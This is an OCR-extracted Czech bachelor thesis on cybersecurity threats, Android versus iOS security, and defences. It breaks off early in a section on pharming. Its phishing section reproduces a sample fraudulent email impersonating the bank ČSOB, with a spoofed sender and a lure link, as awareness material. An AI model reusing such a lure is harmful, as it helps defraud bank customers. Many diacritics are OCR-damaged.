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ABSTRAKT

Tato bakalatské prace se zaméfuje na nejznaméjsi hrozby v kybernetickém prostoru, které
jsou nedilnou soucasti dnesni doby plné informacnich technologii a na praktické vyuziti né-
kolika nastrojii kybernetické bezpecnosti na mobilni platforme. Nejprve prace uvadi za-
kladni pojmy z oblasti kybernetické bezpecnosti, nejcastéji se objevujici itoky na uzivatele
a dale se pozornost vénuje porovnani mobilnich platforem Android a iOS v nékolika krité-
riich jako je bezpecnost nebo soukromi. V praktické Casti je vytvoiena kategorizace jednot-
livych nastroji pro fizeni bezpecnosti a poté je pomoci nastroje Kali Linux, uréenému k pe-
netraCnimu testovani, simulovano n¢kolik typt utokt, které mohou redln¢ nastat a s kterymi
se uzivatelé mohou setkat. Zaver prace je vénovan zakladnim bezpecnostnim opatfenim ty-
kajicich se jak samotnych uzivateld, tak 1 firem a nasledné také ochrané¢ proti simulovanym

utokim vykonanych v praktické ¢asti.

Kli¢ova slova: kyberneticka bezpe¢nost, Kali Linux, ochrana, penetracni testovani, sit’, na-

stroj

ABSTRACT

This bachelor thesis focuses on the most famous threats in cyberspace, which are an integral
part of today's world full of information technologies and on the practical use of several
cybersecurity tools on the mobile platform. First of all, the basic cybersecurity terms are
introduced, as well as the most frequently occurring attacks on users and comparison of
Android and iOS mobile platforms in multiple criteria, such as security and privacy. In the
practical part of thesis, categorization of particular security management tools is created and
then with the help of Kali Linux tool designed for penetration testing, several types of attacks
that can occur in reality and which users may encounter are simulated. The conclusion of the
thesis is dedicated to basic security measures concerning both users and companies and also

to protection against simulated attacks performed in the practical part.

Keywords: cybersecurity, Kali Linux, security, penetration testing, network, tool



Chtél bych vyjadrit podékovani vedoucimu své bakalatské prace panu Ing. Lukasi Kralikovi
za vedeni prace, poskytnuti rad k problematice feSené v bakalarské praci a také za odborny

dohled pfi zpracovani.

Prohlasuji, ze odevzdana verze bakalaiské/diplomové prace a verze elektronickd nahrana do

IS/STAG jsou totozné.



OBSAH

UVOD ..eeveerereeeeerssessssesesesssssssssssssssssssessssssssssssssssssssssssssssssesssssssesssssessssssssesssssesssesns 8
| TEORETICKA CAST ..uveveeereeerereeesesesessssssssessssssssssssssesssssssessssssssssessssssssssssessesns 9
1  KYBERNETICKA BEZPECNOST ......cceceveeuereeesneresesssesssessesssssssessssssessssssseses 10
1.1 CHARAKTERISTIKA POJMU KYBERNETICKA BEZPECNOST .....cvvvvvvereeeeeeeeeiinrenennn. 10
L1T KYDOIPIOSIOT coiiiiiiiiieeeiiiiee ettt ettt ettt e ettt e e e et e e e eitaeeeeensbeaeeenes 10

1.1.2  Kyberneticka kriminalita .............cccceeeeiiiiiiiiiiiiiiee e 10

1.1.3  Kyberneticky teroTISIMUS .......cceeuuviiiiieeeeeeereiiiiieeeeeeeeeeiiieeeeeeeeeeenenneeeeas 10

1.1.4  Kyberneticka SPIONAZ.........cceeeieiiiiiiiiieeeeeieiiiiieeee e ee e e e e e e e 10

1.1.5  Kybernetickd VAIKa ..........ccooviiiiiiiiiiiiiii e 10

1.2 KYBERNETICKA BEZPECNOST V CESKE REPUBLICE ...t 11
1.3 CERT ATYMY TYPU CSIRT ..o 11
1.4 KYBERNETICKA BEZPECNOST NA MOBILNI PLATFORME........ccoouvviieieeeeeeeinnnnenn. 12

2 HROZBY V KYBERNETICKEM PROSTORU ....cuoueueerrrineeerereneeenesesesssssssens 13
2.1 IMALWARE ....ooiittiiiieeeee ettt e e e e e e ettt eeeeeeeeeeeeaast e eeaeeeseatssaaaaeaeaessssssnannanns 13
2.1.1  RANSOIMWAIC .....oevuniiiiiie et e e e e e e e e et eeeeeaaeeeeeeaen 14

2,12 VITUS oo et e e e e e e e eaaea e e e 14

2.1.3  TrojsKy KOM c.oveiiiiiicciic et e 14

2,104 SPYWAIC...eettieiiiiiiieeeetettetteteeteeaeteeeeaeeeeeeaeeeeeaeeeseaeessssssssasaaeessssaeasennesnnnnnnnne 15

2. 1.5 POCIACOVY COIV evviiiiiiiiiiiiiiiiiieiieeeteeeteeteeeeaeeeeeaeseesseeeeseesaeeesssssssseesssssnenneee 15

2,106 AQWATC ..o 15

2.2 SOCTALNI INZENYRSTVI ..eeiiiiiiieiiiiiiieee e e e e 16
22,1 BTN ciiiiiiiii ettt ettt e eeearee s 16

2.2.2 PRISHING....oiiiiiiiiii e 16

2.3 PHARMING ..ottt ettt e e e e e e e ettt ee e e e e e e e e aabbae e as 17
2.4 DENIAL OF SERVICE .....ccoiiiiitiiieieeeeeeiiiiiiieeeeeeeeeeetttieeeeeeeeeeeaabbaeeeeeaaessssarnannns 18
2.5 SQL INJECTION A CROSS-SITE SCRIPTING ......uueeeeeeeriiiiiiiiieeeeeeeeerrrriiaeeeeaeeeesnnnnns 18

3 STANDARDY KYBERNETICKE BEZPECNOSTI....ccucueeerererenereresesesesesesenns 19
3.1 ISO/TEC 27001 A 27002, enaee e 19
3.2 ZAKON C. 101/2000 SB., O OCHRANE OSOBNICH UDAJU ......coeevrreeeeeeeeeeeeinrnnennn. 20
3.3 GDPR e 20

4 MOBILNI PLATFORMIA .....oooovetereeeereresessesesesssesssessesesssssessssssesesssssessssssesssses 22
4.1 PLATFORMA ANDROID......coutuiieiiieeieiiiiiiieeeeeeeeeeettiiieeeeeeeeeeeerarteeeeeeaeeesssaanaeenns 22
4.2 PLATFORMA TOS ...ooiiiiiiiiee ettt ettt e e e e e e e aaae e e eennaeeeeeaes 22
4.3 SROVNANI PLATFOREM ANDROID A TOS........ouiiiiiiiiieieieeeieeeeeeeeeeeeeeeeeeseasenssnnnnnns 23
4.3.1  UzZivatelské prostiedi.........ccooveeriieiiiiiiiniiiiicceceee e 23

4.3.2  BEZPECNOSE ..eeeiiiieiiiiiiiiiettee ettt e e e e e e e s 23

4.3.3  SOUKIOMUI...cuuiiiiiiiiiiiiteiiieeieeeeeeeeeeeeeeeeseeeeeeeaeaeeeaesesseesaassssssssssssssssssssssssssnsens 24

O T S VA 4 <0 s FE USRS 24

4.3.5  Fragmentace .......cccoeeviumiiiiiiieeeieiiiiiee e e e e e ettt e e e e e e sttt eee e e e e e 24
4.3.5.1 Dasledky fragmentace u zafizeni: ..........cccceeeeeiiiieeiniiiieeeeieeeeee 25

Il PRAKTICKA CAST ..uvueuerreeresiessssessesssssssnssssssssssssssssssssssssssssssssssssssssssssssssssssanes 27

5  KLASIFIKACE NASTROJU PRO RiZENI BEZPECNOSTT ....uoveeveeeereeeenenns 28



5.1 FIREWALL ..ottt ettt et e e e et e e e tee s eae s et e e eaesenaeeeennns 28

5.2 ANTIVIRUS A ANTI-MALWARE SOFTWARE ......cccoeiiiiiiiiiiiiiiiiieeeeeceeeeeeeeeeeeeeee, 29
5.3 ANTI-SPAM SOFTWARE......ccceiiiiiiiiei e 29
5.4 TECHNOLOGIE PRO MONITORING, PREVENCI A DETEKCT ......uuuuiiinnnnns 29
5.4.1  Intrusion Detection SYSEMS ........cc.eeeeereiiireeiiiiieeeeiiiiee e e eerireee e e 29

5.4.2  Intrusion Prevention SYSEMS.......ccueiiereiiieeeriiiieeeeriieeeeeriiieeeeeeveeeeeneenees 30

5.4.3  Security Information and Event Management ...............cccccvveeeernveeeeennnen. 30

5.5 VIRTUAL PRIVATE NETWORK .....ccooiiiiiiiiiiiiiiiicceeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee 30
5.6  PENETRACNITESTY .oiiiiiiiiiiiiiiiieee ettt e ettt e e e e e e eaaaae e e e e e e e e eeannns 30
5.6.1 Internia externi penetracni test .........ccovvvviiiiiieeeeiiiiiiiiieee e e 30

5.6.2  Penetracni test webovych aplikaci.........cccceveiieiiieiiiiiiiiiiiieeeeeeeee 31

5.6.3  Penetracni test socidlniho INZENYIStVI........uvveiieiieiiiiiiiiiiiieeeeeeeiieeeee e 31

6  VYUZITi NASTROJE PRO KYBERNETICKOU BEZPECNOST ................. 32
6.1 PRIPRAVA MOBILNIHO ZARIZENI A INSTALACE NASTROJU ......cvvvvvveeeeeeeecinnnnenn. 32
6.1.1  Root — nejvyssi uzZivatelskd prava .........ccceeeevviieiieieeeeiiiieeeee e 32

6.1.2  Instalace apliKaci ..........ceeeeiiiiiiiiiiiiiiie e 33

6.2 KALTLINUX ittt et e e e ettt e e e e e e e e e aabbeeeeeeaeseasesaannns 34
6.2.1 Konzole — command lINE ..............oouuumoeeiiiiiiiiiiieieeeeeeeeeeeee e 34

6.3 SBER INFORMACT O SITI.....cciiiiiiiiiiiiieee e et aee e e 35
6.4  ZKOUMANI ZRANITELNOSTI SITE ...cceiiiiiiiiiiiieeee e ettt eeeeetaeeee e e e e e 35
6.5 SPEHOVANI KOMUNIKACE A ZACHYCEN{ CITLIVY CH UDAJU ..o 37
6.6  DNS SPOOFING — PRESMEROVANI NA FALESNOU ADRESU ........ccccouvvreieeeeeeeeennns 38
6.7  PROLOMENI HESLA K ZIP A RAR ARCHIVUM .....coooiiiiiiiiiieeee e 40
6.8  NAPADENI WEBOVEHO PROHLIZECE .......cuuvuiiiiieeeeeecciiiieeeeeeeeeeeeeeieeee e e 42
6.9  PHISHING UTOK A VYTVORENI FALESNEHO EMAILU ......cccvvveeeeeeeiiiiirreeeeeeeeeeeennns 45

7 OCHRANA PROTI PROVEDENYM UTOKUM ....cuoueuirrrrrrrreeeeenesesesssessssnons 48
7.1 ZAKLADNI OCHRANA PROTI NAPADENI ........cccoiiiiiiiiiiiiieee e 48
7.2 ZABRANENT SPEHOVANI KOMUNIKACE ........cccoiiiiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeeee 49
7.3 OCHRANA PROTI DNS SPOOFINGU........ccovviiiieeeeeeeeiiiiiiiiieeeeeeeeeeeeriiieeeeeeeeeeesnnnnns 50
7.4 ZABEZPECENI PROTI PROLOMENI HESLA .........ccoooiiiiiiiiiiiiiiiiiiiiice 50
7.5 OCHRANA PRI NAPADENI WEBOVEHO PROHLIZECE .......iiiiiiiiiiiiieieieeieeeeeeeeeeennnn 51
7.6 OCHRANA PROTI PHISHING METODAM.......cuuuuuiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeeeeeeeeeeeeenns 51
ZAVER .ouvveeeerereeeresesnssesesesesesessssessssssssessssssssssssessssssssessssssesessssssssssssesessssssssssessessseses 53
SEZNAM POUZITE LITERATURY ....uucvereerereeenneresesesesesessesessssesessssssessssssesssssssesns 55
SEZNAM POUZITYCH SYMBOLU A ZKRATEK........coouuererrerennerenserensesensesessesessens 59
SEZNAM OBRAZKU.....ooerererirrrereesirnssesessesessessssessssesessessssessssessssessssessssessssesessesessess 60

SEZNAM TABULEK ....uuuiiiiiiiiieninnnieenissnneenssssseeesssssseesssssassesssssssessssssssassssssssessssssane 61



UTB ve Zliné, Fakulta aplikované informatiky 8

UvVOD

Kyberneticka bezpecnost v dnesni dob¢ predstavuje velice dilezity proces v informacni bez-
pecnosti. Je naprosto nezbytné, aby byl na bezpecnost kladen diiraz a nebylo nic ponechano
nahodé. Nejvétsim problémem pii zabezpeceni systémil a zatizeni je sam Cloveék, a proto
bezpec¢nost nikdy nejspise nedosdhne stoprocentni ispésnosti a vzdy se najde cesta, jak lid-
ské chyby v systémech zneuzit. Je proto potfeba mit alesponi zdkladni povédomi o bezpec-
nosti pii praci s pocitacovymi a mobilnimi zatizenimi. V dnesni dobé¢ stale vice uzivatel
vlastni chytry telefon, ktery pro né predstavuje nepostradatelné zatizeni pouzivané ke kaz-
dodenni praci. Pro uto¢niky se tak chytré telefony stavaji castym teréem kviili jejich pouzi-

vani pii ptistupu k citlivym informacim a kvili dilezitym soukromym datim.

Hlavnim cilem této bakalaiské prace bude ptedstavit nastroje kybernetické bezpeCnosti
pro mobilni platformu, které jsou realné pouzivany pro penetracni a testovaci ucely. Mobilni
platformy Android a iOS jsou dnes pouzivany obrovskym poctem uZzivateli na celém svété
a v mnoha ohledech jsou chytré telefony pouzivanéjsi nez samotné pocitace, a proto je po-
tfeba tomuto tématu vénovat velkou pozornost. Nedilnou soucasti prace bude také vyuziti
penetracnich nastroj v praxi pro simulaci napadeni itocnikem a také pouceni o zakladnich

moznostech ochrany existujicich pro bézné uzivatele nebo firmy.

V teoretické Casti se prace bude vénovat kybernetické bezpecnosti a zakladnim termintim,
které s ni souviseji. Dale budou popsany nejcastéjsi hrozby v kybernetickém prostoru,
s nimiz je mozné se setkat pii pouzivani pocitacovych a mobilnich zatizeni. Tyto hrozby
jsou ¢im dal vice sofistikovanéjsi a jejich pocet nezastavitelné roste. Pozornost bude na-
sledné vénovana existujicim standardim kybernetické bezpecnosti jako je naptiklad GDPR
a v posledni fad¢ se teoreticka ¢ast bude zaméefovat na dvé nejpouzivanéj$i mobilni plat-

formy Android a iOS a jejich vzdjemné porovnani v riznych kritériich.

Prakticka ¢ast bude nejprve zamétena na klasifikaci jednotlivych nastrojii pro kybernetickou
bezpecnost a poté na vyuZiti penetracniho néstroje pro kybernetickou bezpecnost jménem
Kali Linux, ktery je zcela zdarma a volné ke staZeni. Kali Linux obsahuje n€kolik stovek
nastroji slouzicich k simulaci ttokll, vyhledavani chyb v zabezpeceni a testovani bezpec-
nosti systémul. Nékteré nastroje budou pouzity k praktické ukdzce moznych utoki, které re-
aln¢ uzivatelim hrozi a posléze bude popsano, jak je mozné jednotlivym Utoktm ptedejit

nebo se proti nim branit v ptipad¢ napadeni.
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1 KYBERNETICKA BEZPECNOST

V dnesnim svété informacnich technologii piedstavuje kybernetickd bezpeCnost obzvlast
dilezité¢ odvétvi vypocetni techniky, protoze se tyka vSech uzivatell, ktefi bézné pracuji

na pocitaci nebo s jakoukoliv elektronikou.

1.1 Charakteristika pojmu kyberneticka bezpecnost

Kyberneticka bezpec¢nost je termin, kterym se oznacuji technologie slouZzici k ochrané poci-
tacovych systémil a uzivatelskych dat pfed odcizenim. Jejim hlavnim cilem je snizovat riziko

kybernetickych utokt a zajisténi ochrany pied vyvijejicimi se hrozbami. [1]

1.1.1 Kyberprostor

Kyberprostor nema uplné jasnou definici, ale v dnesni podobé se s nim setkavame jako s vir-
tudlnim pocitaCovym svétem v internetu tvofeny daty a informacemi. Lidé zde mohou ko-

munikovat napt. pomoci emailu nebo nakupovat v internetovych obchodech. [1]

1.1.2 Kyberneticka kriminalita

Kyberneticka kriminalita ptedstavuje trestnou Cinnost, kterd zahrnuje pocitac nebo sitové
zafizeni. Patfi zde i zloCiny provadéné prostiednictvim internetu, jako podvody, kradez
osobnich udaja a identity nebo kreditni karty. Velké mnoZzstvi utokti je provadéno za Gcelem

ziskani penéznich prostredka. [1]

1.1.3 Kyberneticky terorismus

Kyberneticky terorismus nastava Casto pies internet a byva provadén bez védomi a na velkou
vzdalenost. Zakladem je kyberneticky utok, jehoZ uc¢elem je zneptistupnéni dat nebo kradez

informaci. Ptiklad kybernetického terorismu je napadeni bank nebo statni infrastruktury. [1]

1.1.4 Kyberneticka Spionaz

Jedna se o formu kybernetického utoku, ktery ma za cil odcizit citlivé udaje a umoziuje
utocnikovi piistup k tajnym informacim. Kybernetickd Spiondz se provadi za ucelem ziskat

naptiklad ekonomickou nebo vojenskou pievahu. [1]

1.1.5 Kyberneticka valka

Je konflikt v oblasti informacnich technologii zahrnujici motivované utoky souvisejici napf-.

s politikou. Kybernetické valka zahrnuje i utoky hackert a teroristickych skupin. [1]
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1.2 Kyberneticka bezpe¢nost v Ceské republice

V Ceské republice vstoupil v platnost zakon & 181/2014 Sb. o kybernetické bezpe&nosti
dne 29. srpna 2014 s uc¢innosti od 1. ledna 2015. Tento zakon si klade za cil zvysit bezpec-
nost infrastruktury statu a dilezitych informacnich systémi, kde jsou uchovavany osobni
udaje velkého poctu lidi. Zakon urcuje, jak se zajistuje kybernetickd bezpecnost a dale jak
piipadné fesit nékteré incidenty. Na kybernetickou bezpeénost v Ceské republice dohlizi Na-
rodni bezpeénostni utad (NBU) spolu s Narodnim centrem kybernetické bezpe&nosti. NBU
kontroluje, zda jsou dodrzovany predepsané povinnosti a mize pii neplnéni povinnosti uloZzit
pokutu ve vysi az 100 000 K¢. Zakon zaroven zavadi nové terminy jako kyberneticky pro-
stor, stav kybernetického nebezpeci nebo ochranné opatieni. Vychazi ptitom z normy fady
ISO/IEC 27000. Pro firmy, které mély certifikace jiz podle téchto norem, nebyly néklady
na zabezpeceni tak vysoké. Zabezpeceni systému totiz v nékterych piipadech predstavuje

nemaly podil na rozpoc¢tu podniku. [2][3]

Dne 1. srpna 2017 vznikl Narodni Gifad pro kybernetickou a informaéni bezpeénost (NUKIB)
vyClenénim z Narodniho bezpecnostniho ufadu na zakladé zédkona ¢. 205/2017 Sb., ktery
zménil predchozi zakon z roku 2014. Mezi hlavni Cinnosti patii ptiprava bezpecnostnich
standardli, vyzkum a vyvoj, ochrana tajnych informaci, provadéni analyz, zkoumani kyber-
netickych hrozeb a feSeni kybernetickych incidenttl, provozovani Vladniho CERT Ceské
republiky a spoluprace s jinymi narodnimi CERT a CSIRT tymy. [2]

1.3 CERT a tymy typu CSIRT

Kazdy stat, ktery ma své systémy pfipojeny k internetu je vystaven riziku napadeni a proto
musi byt schopen odolat a branit se bezpe¢nostnim hrozbam, predchazet jim a pti napadeni
byt piipraven fesit situace. Vladni CERT ptedstavuje hlavni roli pfi ochrané informacni
struktury a informacni systémua podle zdkona o kybernetické bezpecnosti (181/2014 Sb.).
Zabyva se mimo jiné analyzou dat a feSenim incidentl, penetracnimi testy, analyzou
malware a sitové komunikace a také bezpecnym chodem datab4dzovych systémi. Tymy typu
Computer Security Incident Response Team (CSIRT) maji na starost ochranu informacni
struktury statu podle zdkona o kybernetické bezpecnosti a jejich ikolem je pomoci organiim

statu 1 obaniim a v posledni fadé také vzdélavat v oblasti kybernetické bezpecnosti. [2][4]
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1.4 Kyberneticka bezpecnost na mobilni platformé

Mobilni telefony obsahuji obrovské mnozstvi osobnich informaci. Proto se stale vice stavaji
teréem tutoku, jelikoz z nich mohou byt odcizeny soukromé a citlivé data jako ptistupové
udaje k bankovnim t¢tim nebo k uctim, které takové informace zahrnuji. S tim, jak se zdo-
konaluji prostfedky v informacnich technologiich, rostou samoziejmé naroky na zabezpe-
¢eni a to obzvlast plati v dneSni dob¢ internetu, ktery je nedilnou soucasti prakticky kazdého
Clovéka. Bezpecnost na mobilni platformé predstavuje jednu z nejvétSich vyzev, protoze
jsou mobilni telefony vyuzivany miliony lidi po celém svété. Denné se proto tto¢nikiim

podati ziskat nemalé ¢astky od nepozornych a nezkusenych uzivatelt. [5]

Ptikladem muze byt incident z roku 2018, kdy stazena aplikace QRecorder v operacnim sys-
tému Android napadla internetové bankovnictvi velkého podtu obéanti v Ceské republice.
Podle odborniktl je pravé nejohroZenéjsi mobilni platformou systém Android, kvili nartsta-
jicimu poctu nakazenych aplikaci v obchodé Google Play, ktery poskytuje digitalni obsah
jako filmy, hudbu, hry a dalsi aplikace. Malware obsazeny v aplikaci QRecorder dokazal
odcizit heslo, a dokonce byl schopny z SMS zprav od banky ziskat kdd slouzici k potvrzeni
plateb. [6]

Existuje pritom nékolik zdkladnich zpiisobu, jak se proti utokiim na mobilni platformé branit

nebo se jim snazit predejit a zamezit zplisobeni skody:

a) Nainstalovany a aktualizovany antivirovy software

b) Pouzivani zabezpecené komunikace — pokud je to mozné, nepfistupovat k bankov-
nim 0¢thm a podobnym soukromym informacim na vefejném Wi-Fi pfipojeni. Exis-
tuje zde totiz velké riziko odposlouchavani. Proto se doporucuje vyuzit mobilnich
dat misto nezabezpecené Wi-Fi.

¢) Vyuzivani silnych a odliSnych hesel — heslo by nemélo obsahovat osobni infor-
mace, mélo by byt pravideln€ ménéno a sloZzeno z kombinace riznych znakd.

d) Pouzivani vicefaktorové autentizace — pii piihlaSovani je uZivatel pozadan, aby se
1jinak identifikoval. VéEtSinou se jedna o docasny kod, ktery plati nékolik vtefin.

e) Zaheslovani mobilniho telefonu - v pfipad¢, Ze si uzivatel telefon zahesluje, jeho
data jsou Sifrovana. Zakladnim bezpe€nostnim prvkem je vyuZiti gest, kterd byvaji
ale mnohdy snadno prolomitelnd. Proto se doporucuje pouzivat napt. biometrické
zamky v podobé otisku prstu.

f) Nestahovat neznamé aplikace od neoficidlnich vyrobci [7]
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2 HROZBY V KYBERNETICKEM PROSTORU

Kybernetické utoky predstavuji obrovsky problém, protoze mohou mit za nasledek naptiklad
kradez velkého objemu citlivych tidaji. Stavaji se stale vaznéjsimi a je Zadouci jim vénovat
velkou pozornost. V dnesni dobé informacnich technologii, které stale vice zasahuji do béz-
ného Zivota, se neustalé objevuji nové kybernetické hrozby, kterym je tfeba se vyvarovat

a stejn¢ tak se branit proti moznym Skodam.

Utoky se oproti minulosti zménily v jejich komplexnosti a nyni se objevuji v nejriiznéjsich
formach. Pocitacova kriminalita pak pfedstavuje zavazny problém, protoze mize piesahovat
1 ndrodni métitko. NiZze jsou uvedeny a popsany nekteré z nejcastéjSich typii hrozeb, které

maji v imyslu naptiklad ziskat pfistup do pocitacové sité bez souhlasu vlastnika. [5]

Kybernetické hrozby maji vétSinou za cil ziskat financni prostfedky, zplisobit uZzivateli
Skodu nebo provadét Spionazni €innost. Postupné se zdokonaluji a kazdy rok jsou vytvateny

nové podoby utoku. [5]

2.1 Malware

Malware prestavuje skodlivy software urceny k infiltraci do pocitace nebo mobilniho tele-
fonu, kde poSkozuje data. Jedna se o vyraz, kterym se oznacuji rtizné skodlivé programy,
a n¢kolik nejbeznéjSich typl je popsano podrobnéji dale. VétsSinou je Sifen za ucelem po-
skytnuti moznosti ito¢nikovi vzdalen¢ ovladat nakazené zatizeni, snizit vykon systému, na-

kazit sit’ nebo v nékterych scénarich zablokovat ptistup k datim. [8][9]

Standardni ochranu proti malware piedstavuje antivirovy software, ktery slouzi k vyhleda-
vani a identifikaci Skodlivych kodi a nasledné jejich smazani nebo zabranéni napadeni sys-
tému. Antivirovy program je potifeba udrzovat v nejaktudlnéjsi verzi, aby dokézal objevit
1 nejnovejsi hrozby. To samé plati i pro systém na mobilnim telefonu (Android, i10S), pro-
toZze hrozi, ze ve starSich verzich systému byly nalezeny bezpecnostni diry, které oteviraji

uto¢nikiim moznosti, jak zatizeni ovladnout. [8][9]
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2.1.1 Ransomware

Ransomware je malware, ktery v piipadé uspé$Sného utoku zamkne nebo zaSifruje data
na podita¢i uzivatele, ktery je poté pozadan o zaplaceni uréité pendzni &astky. Céstka slouzi
k desifrovani ptivodné zaSifrovanych dat a dale k umoznéni opétovnému ptistupu uzivateli
k jeho datim. Obét” se nejcastéji infikuje timto Skodlivym softwarem pii navstéveé ohroze-

nych webovych stranek nebo pfi stazeni souboru, jehoz soucasti je praveé ransomware. [10]

Pti spusténi v systému ransomware v nékterych ptipadech zamkne obrazovku pocitace,
na které se zobrazi oznameni branici uzivateli v dalSim pouzivani systému. Oznadmeni popi-
suje, jak napadeny uzivatel mize zaplatit vykupné, aby obratem ziskal zpét ptistup k poci-
taci. Zprava s pokyny pro zaplaceni ¢astky Casto obsahuje vyhruzné sd€leni, ze data obéti
budou zvefejnéna, pokud platba nebude provedena do urcitého terminu. V dal§im ¢astém

piipad€ ransomware Sifruje soubory a zabramnuje k nim ptistup. [10]

I kdyz se na prvni pohled mize zdat, Zze mnoho napadenych nemd v iimyslu zaplatit ¢astku
za opétovny pristup ke svym datim, opak je pravdou. Mnoho poskozenych uzivatelii nebo
firem, které¢ byly ochotny vykupné zaplatit, byly napadany opétovné, pravé diky tomu,
ze tyto platby povzbudily Gto¢niky dale pokracovat v tocich. [10]

2.1.2 Virus

Virus je program, ktery se §iii z hostitele na dal§iho hostitele a spousti se bez jeho védomi.
Siteni probiha naptiklad pomoci riznych spustitelnych soubort. Jejich schopnost spo&iva
v tom, Ze se mohou samy kopirovat mezi jednotlivymi zatizenimi bez souhlasu uzivatele.
Dilezitym rozdilem oproti pocitacovému Cervu je ten, Ze virus je soucasti né¢jakého souboru
nebo programu a zaroven vétSinou vyzaduje zdsah uZivatele. V mnohych piipadech ziistavaji

viry neaktivni n€kolik dnli nebo tydnu a pracuji tak, aby se vyhnuli detekci. [8]

2.1.3 Trojsky kiin

Tento druh malware se prezentuje jako neSkodna aplikace. Rozdil oproti viru je v tom,
ze se nereplikuji a Skodu plisobi pti spusténi. UZivatel si miize stdhnout trojského koné€ v po-
dobé programu, ktery ma tidajn€ pocitace zbavovat virti. Sdm ale misto toho napada a infi-
kuje systém. Je takto mozné ovladnout pocitac a posilat diveérné informace utoc¢nikovi. Nej-

lep$i ochranou je nespoustét a nestahovat programy z neznamych a neoficialnich zdroji. [8]
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2.1.4 Spyware

Spyware je dalsi druh malware, ktery je uréen k Spehovani Cinnosti uzivatele. Skryva
se v pozadi a pfitom monitoruje a shromazd’uje nejriznéjsi informace nebo poskytuje utoc-
nikovi vzdaleny ptistup. Jedna se o jeden z nejnebezpecnéjsich typli malware, protoze mize
monitorovat i takové ¢innosti jako naptiklad zaddvani hesla do internetového bankovnictvi
nebo Cisla kreditni karty. Je také vyuzivan pro nevyzaddanou reklamu sledovanim ¢innosti
uzivatele na internetu. Spyware je ¢asto velmi obtizné zjistit antivirovymi programy, a proto

se jednd o velmi nebezpecny malware. [8]

Pod kategorii spyware spadaji tzv. keyloggery, které¢ zaznamenavaji stisknuti klaves na kla-
vesnici a tyto informace se déle posilaji itocnikovi, coz mtize jednoduSe vést k odcizeni
hesla. Keylogger se vétSinou dostane do zafizeni v ptipad¢, ze nedisponuje antivirovym pro-

gramem nebo pouze jeho zastaralou verzi. 8]

2.1.5 Pocitacovy Cerv

Jedna se o program, ktery infikuje ostatni pocitace sam bez zasahu uZzivatele a sdm se mnoZi.
Nejcastéjsi zptisob ndkazy dalSich zatizeni je otevienim zavirovanych ptiloh emailu nebo
spusténim odkazi, které sméfuji na nebezpedné a infikované weby. Cervi ¢asto zneuzivaji
bezpecnostni chyby v systému nebo v sitovych protokolech. Pokud je zatizeni infikovéano
pocitacovym cCervem, Castym projevem byva nizsi vykon, zamrzani systému nebo zména

vzhledu pracovni plochy. [8]

2.1.6 Adware

BézZné se uzivatelé nakazi Adwarem pftistahovani programt, které jsou zdarma a také byvaji
Casto soucasti mobilnich aplikaci. Piikladem jsou rtizné tapety na plochu. Adware v nékte-
rych ptipadech monitoruje pohyb uzivatele na internetu a shromazd’uje osobni tdaje, které

se mohou dale prodat tfetim strandm. [§]

UZivatel vétSinou zjisti, Ze je nakaZen timto softwarem, pokud se mu reklamy zobrazuji
na mistech, kde by se normaln¢ zobrazovat nemély. Dale se projevuje nechténou zménou

domovské stranky nebo instalaci riznych dopliikli a roz$ifeni v prohlizeci. [8]
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2.2 Socialni inZenyrstvi

Socialni inzenyrstvi zahrnuje techniky pouzivané za ucelem vylédkani informaci z uzivatelt
pii vyuziti lidskych slabin a naivity. Utoénici vétsinou vyuzivaji toho, Ze uZivatelé jsou ne-
zku$eni a pod natlakem a vyhriizkami vykonavaji bezmyslenkovité tukony, které jsou po nich
pozadovany. U socialniho inzenyrstvi nemusi byt nutné vytvaret slozit¢ naprogramovany
software nebo se utocnici nemusi ani pokouset prolomit heslo sloZitymi cestami, a pfitom

staci pouze uvést uzivatele do situace, kdy je sam sdé€li. [11]

Proti socidlnimu inZenyrstvi se d4 branit neustalym vzdélavanim a ziskdvanim ptehledu
o tomto tématu. Jedna se totiz o klamavé techniky a nemusi jit nutné o tok na mobilni tele-
fony nebo pocitace. Bohuzel sam clovek piedstavuje obrovsky problém, protoze kdyz je
zatlaceno na spravné misto a je v ném vyvolana neptijemna situace, reaguje v mnohych pfti-

padech bez premysleni a je schopen sdélit své citlivé udaje. [11]

Pod socidlni inZenyrstvi spada napt. Phishing nebo také Baiting.

2.2.1 Baiting

Baiting lze ptirovnat k utoku trojského koné. Pii Baiting utoku se vyuziva n¢jaké médium,
napt. USB disk, na kterém je uloZen program slouzici pro infikovani obéti. Typickym scé-
nafem muze byt umysiné ponechani USB disku na volné dostupném misté. UZivatel se pak
nakazi Skodlivym softwarem pii pouzivani nalezen¢ho zatizeni, protoze si ho pftivlastnil

nebo jen chtél zjistit, jaka data disk obsahuje. [12]

2.2.2 Phishing

Phishing je dnes mozna jeden nejvyuzivanéjSich utokili na uzivatele bankovnich ¢t a jedna

se vét§inou o druh podvodného emailu, jehoz cilem je vyldkat divérné informace. [13]
Zakladni znaky phishingového emailu:

e Cilem je vyvolat dojem, Ze byl odeslan napt. nasi bankou, u které si vedeme tcet,
a pfitom ziskat citlivé informace.

e Email vétSinou faleSné upozoriiuje na neprovedeni platby, nutnost aktualizovat
své udaje v internetovém bankovnictvi, ozndmeni o zablokovani Gc¢tu nebo pla-

tebni karty a mize pfijit i v podobé vyzkumu klientovy spokojenosti se sluzbami

banky.
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e Grafickd podoba emailu byva vét§inou stejnd nebo velice podobna tém, které re-
aln¢€ uzivatel obdrzi od banky.

e Vtextu emailu je odkaz, ktery ma v uzivateli vyvolat dojem, ze smétuje
na stranky internetového bankovnictvi. Ve skutecnosti odkazuje uzivatele
na podvrzenou stranku vytvoienou podvodniky, kterd je v nékterych ptipadech

nerozliSitelna od originalni. [13]

From: CSOB [mailto:csob@regalioriginali.org]
Sent: Saturday, December 31, 2016 8:26 AM
To:

Subject: Mate jednu novou ddleZitou zpravu

CSoB

Mate jednu novou dlleZitou zpravu

Chcete-li Eist tuto zpravu, kliknéte prosim: pfihlasit

Toto je automaticky generované e-mail - prosim, neodpovidejte na néj.

Obrazek 1: Typicky ptiklad phishingového emailu s podvodnym odkazem [14]

2.3 Pharming

Pharming neboli farmateni spo¢iva v tom, Ze na pocitac, mobilni telefon nebo server je na-
instalovan skodlivy kod, ktery uzivatele smétfuje na podvodné webové stranky bez jejich
védomi. Pharming je obzvlast’ zakeiny, pokud je napaden DNS server, protoze 1 uZivatelé,

